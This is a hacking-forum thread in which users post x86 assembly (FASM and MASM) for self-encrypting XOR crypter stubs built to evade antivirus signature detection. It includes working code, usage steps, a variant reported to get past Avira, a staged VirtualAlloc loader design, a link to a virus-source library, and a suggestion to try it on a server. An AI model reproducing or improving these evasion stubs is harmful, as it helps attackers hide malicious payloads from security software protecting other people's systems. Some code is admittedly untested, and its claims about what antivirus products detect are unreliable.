Thread: [FASM]Self encrypting code (with loads of comments)

Code:

;Made out of boredom while reading this article  http://migeel.sk/blog/2007/08/02/advanced-self-modifying-code/
;Basic self encrypting example
;Detected by avira god damn it >:[ , most likely due to the Writable flag on the .text section
;Also Mati Aharoni is a cool guy for doing a samiliar POC in a presentation called "I Piss on Your AV" wich got me into x86 assembly
;You might be like . Thats cool StaTiX but how do i use this
;Well its simple , you just compile the code , cram the .exe into a debugger set a Breakpoint on to the JMP command run it 
;it runs , encrypts it self and stops at the breakpoint
;then you save it to an executable , next time it will be executed it will decrypt it self in memory and Bam your code runs
include 'win32w.inc'
format PE GUI 4.0
entry start  ; specify the entry point
section '.text' code readable writable executable  ;Executable code segment with Writable flag enabled , in other case we would not be able to encrypt the code at runtime
start:
	Xor EAX,EAX ;make EAX's value equal to 0
	Mov EAX,LOLE;copy the end address of the code we want to encrypt to EAX
	eloop:	 ;the encoding loop
	XOR Byte [EAX],12h ; encode the byte that EAX is pointing to with a specific key byte , in this case its byte 12h
	dec EAX ; Decrease EAX by 1 so now it is pointing to the address above it
	CMP EAX,LOL  ; Check if we reached the start of the code we want to crypt(We are encoding from bottom to top)
	JNE SHORT eloop ; If not jump back to the begining of the loop
	JMP LOL ; if we reached the ending , jump to the code we encryped/decrypted

LOL:	; the code that we will encrypt

PUSH 0
PUSH _cap1
PUSH _cap1		 ;The message box is just for proof that it works
PUSH 0
Call [MessageBox]

LOLE:	; this label marks the address that is after the code , in this case its the adress we start to encode from

section '.data' data readable writeable  ;Section that contains the variables
_cap1 db 'TEST',0

section '.idata' import data readable writeable  ; section that contains the Imports

  library kernel32,'KERNEL32.DLL',\
	  user32,'USER32.DLL'
	  include 'api\kernel32.inc'
	  include 'api\user32.inc'

Was bored , found some nice info http://migeel.sk/blog/2007/08/02/adv...odifying-code/ down here
and wrote it
You might need to play around the library importing to get your code to run down here
So all it does is encrypt the code that is in between the LOL and LOLE lables so Av's will fail with the signature based detection
if you dont know how to use it just read the top comments it explains how to do the shit

avs wont fail so fast... that stuff was famous back in the days...
u have to do a little more to get rid of the av detections these days :>
just try to patch some server with it

I'm sorry, but the information givin in the article which you link to, is not correct. The article gives an example on "polymorphism", but it only encrypts and decrypts (parts) of the code just like a crypter.

Polymorphism: the easy way

The easiest approach to polymorphism looks like this:

Code:

mov al, 12h ; set the key
mov edi, codeEnd ; starting address
mov ecx, codeEnd - codeStart ; length of encrypted block
 
; now decrypt the code, starting from the last byte
decryptLoop:
xor byte [edi], al ; decrypt byte
dec edi ; move to the next byte
loop decryptLoop
 
codeStart:
; put encrypted code here
codeEnd:

Encryption is the most common method to hide code. With encryption, the main body of the code (also called its payload) is encrypted and will appear meaningless. For the code to function as before, a decryption function is added to the code. When the code is executed this function reads the payload and decrypts it before executing it in turn.

Encryption alone is not polymorphism. To gain polymorphic behavior, the encryptor/decryptor pair are mutated with each copy of the code. This allows different versions of some code while all function the same.[2]

omg...
anyway heres some good input 4u
http://vx.netlux.org/lib/?index=PO&lang=en

Now thats what i call a research material
thanks

This is not even encryption, its simple xoring/hashing, every single virus source I've read uses this method more or less. Which requires the text section to be RW as you said.
Sorry, I am not dissing, but it has been used so much, it really isn't of much use these days.
It may be called mutating because some virii use a random xor key, and thus produce a different signature each time they encrypt their payload/self. But the RW code section really is a big no-no these days. What I would want to see, is code that could produce different kinds of stubs which do just what you wrote ( using genetic programming or evolutionary algos). That would be polymorphic !

Originally Posted by t0ns0fPhun

This is not even encryption, its simple xoring/hashing, every single virus source I've read uses this method more or less. Which requires the text section to be RW as you said.
Sorry, I am not dissing, but it has been used so much, it really isn't of much use these days.
It may be called mutating because some virii use a random xor key, and thus produce a different signature each time they encrypt their payload/self. But the RW code section really is a big no-no these days. What I would want to see, is code that could produce different kinds of stubs which do just what you wrote ( using genetic programming or evolutionary algos). That would be polymorphic !

I learned something new today, thank you adn TS =)

Originally Posted by t0ns0fPhun

This is not even encryption, its simple xoring/hashing, every single virus source I've read uses this method more or less. Which requires the text section to be RW as you said.
Sorry, I am not dissing, but it has been used so much, it really isn't of much use these days.
It may be called mutating because some virii use a random xor key, and thus produce a different signature each time they encrypt their payload/self. But the RW code section really is a big no-no these days. What I would want to see, is code that could produce different kinds of stubs which do just what you wrote ( using genetic programming or evolutionary algos). That would be polymorphic !

Well yeah its not super advanced , did not see a good souce here , and coontributed
the .text section problem can be overcomed by adding another code section that you put your code there
eg:

Code:

format PE GUI 4.0
entry start

include 'win32w.inc'

section '.text' code readable executable
  start:
	 Xor EAX,EAX 
	 Mov EAX,encrypt_start
	 eloop:   
	 XOR Byte [EAX],12h 
	 dec EAX 
	 CMP EAX,encrypt_end  
	 JNE SHORT eloop 
	 JMP encrypt_end

section '.stuff' executable readable writable
encrypt_end:
push 0
push _class
push _title
push 0
call[MessageBoxA]
encrypt_start:

section '.data' data readable writeable
  _class db 'FASMWIN32',0
  _title db 'Win32 program template',0
section '.idata' import data readable writeable
  library kernel32,'KERNEL32.DLL',\
	  user32,'USER32.DLL'
  include 'api\kernel32.inc'
  include 'api\user32.inc'

seemed to get over avira , not sure about NOD or KS

I've played with this sort of thing quite a lot the past 3 months. Again, sorry I didnt mean to come as an ass.
Love people who contribute source.

I'll give you another idea I've been toying with and seems to work. Code is in masm.

Instead of adding another section (which is easily detected, and also overused ),
break up your stub in 2 or 3 stages.

What you are left with is the 1st stage stub, which loads and decodes ( just as you have done).
the difference is in the 2nd stub. It is placed anywhere you want, and it does not have to be read-write.
the only thing you need is VirtualAlloc.
Essentially, you know before-hand where your 2nd stage is at (address), so you allocate a page in memory, use it as read-write-execute,
then you decode it (just as you've done), and then jump into it.

Code:

	; Call virtual alloc
	invoke VirtualAlloc,NULL,1Ah,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
	; eax should now have the pointer
	
	; We need the Address where the 2nd stage stub is to be found !
	; Esi should have the source of the code we want to execute
	lea	esi, dword ptr [text]
	
	; Edi should have the destination address ( VirtualAlloc address )
	lea 	edi, [eax]
	
	; Copy the actual contents ( we need the number of the bytes to be copied )
	mov	ecx, 45h	; 45 bytes
	rep 	movsb
	
	; Jump into the actual code
	jmp	eax

Right after the jmp to eax, you can decrypt.
You can test it, by substituting the [text] address with a valid address where code resides.
If you compile this, hex edit your .data section, and add a simple xor eax, eax to see when the code jumps in eax, if it will do xor eax,eax.

You can decrypt on the fly, as you are copying:

Code:

; copy, decrypt, store	
mov		ebx, eax ; store ptr in ebx
mov		ecx, 45h ; size of stub
copy:
	lodsb
	xor	dword ptr [eax], 021h
	stosb
	loop copy
	
; Jump into the actual code
jmp		ebx

Note: I haven't tested the second bit, but it should work.
Or you can decrypt after you have jumped into the allocated RWExec memory page.

I don't know if this will be picked up by AV's haven't seen it being used anywhere, and even if it has, since you can hide your 2nd stage anywhere,
I imagine it will be very hard to detect.
The only downfall is that you need VirtualAlloc. But then again, finding it shouldn't be too hard, not should it be suspicious importing it.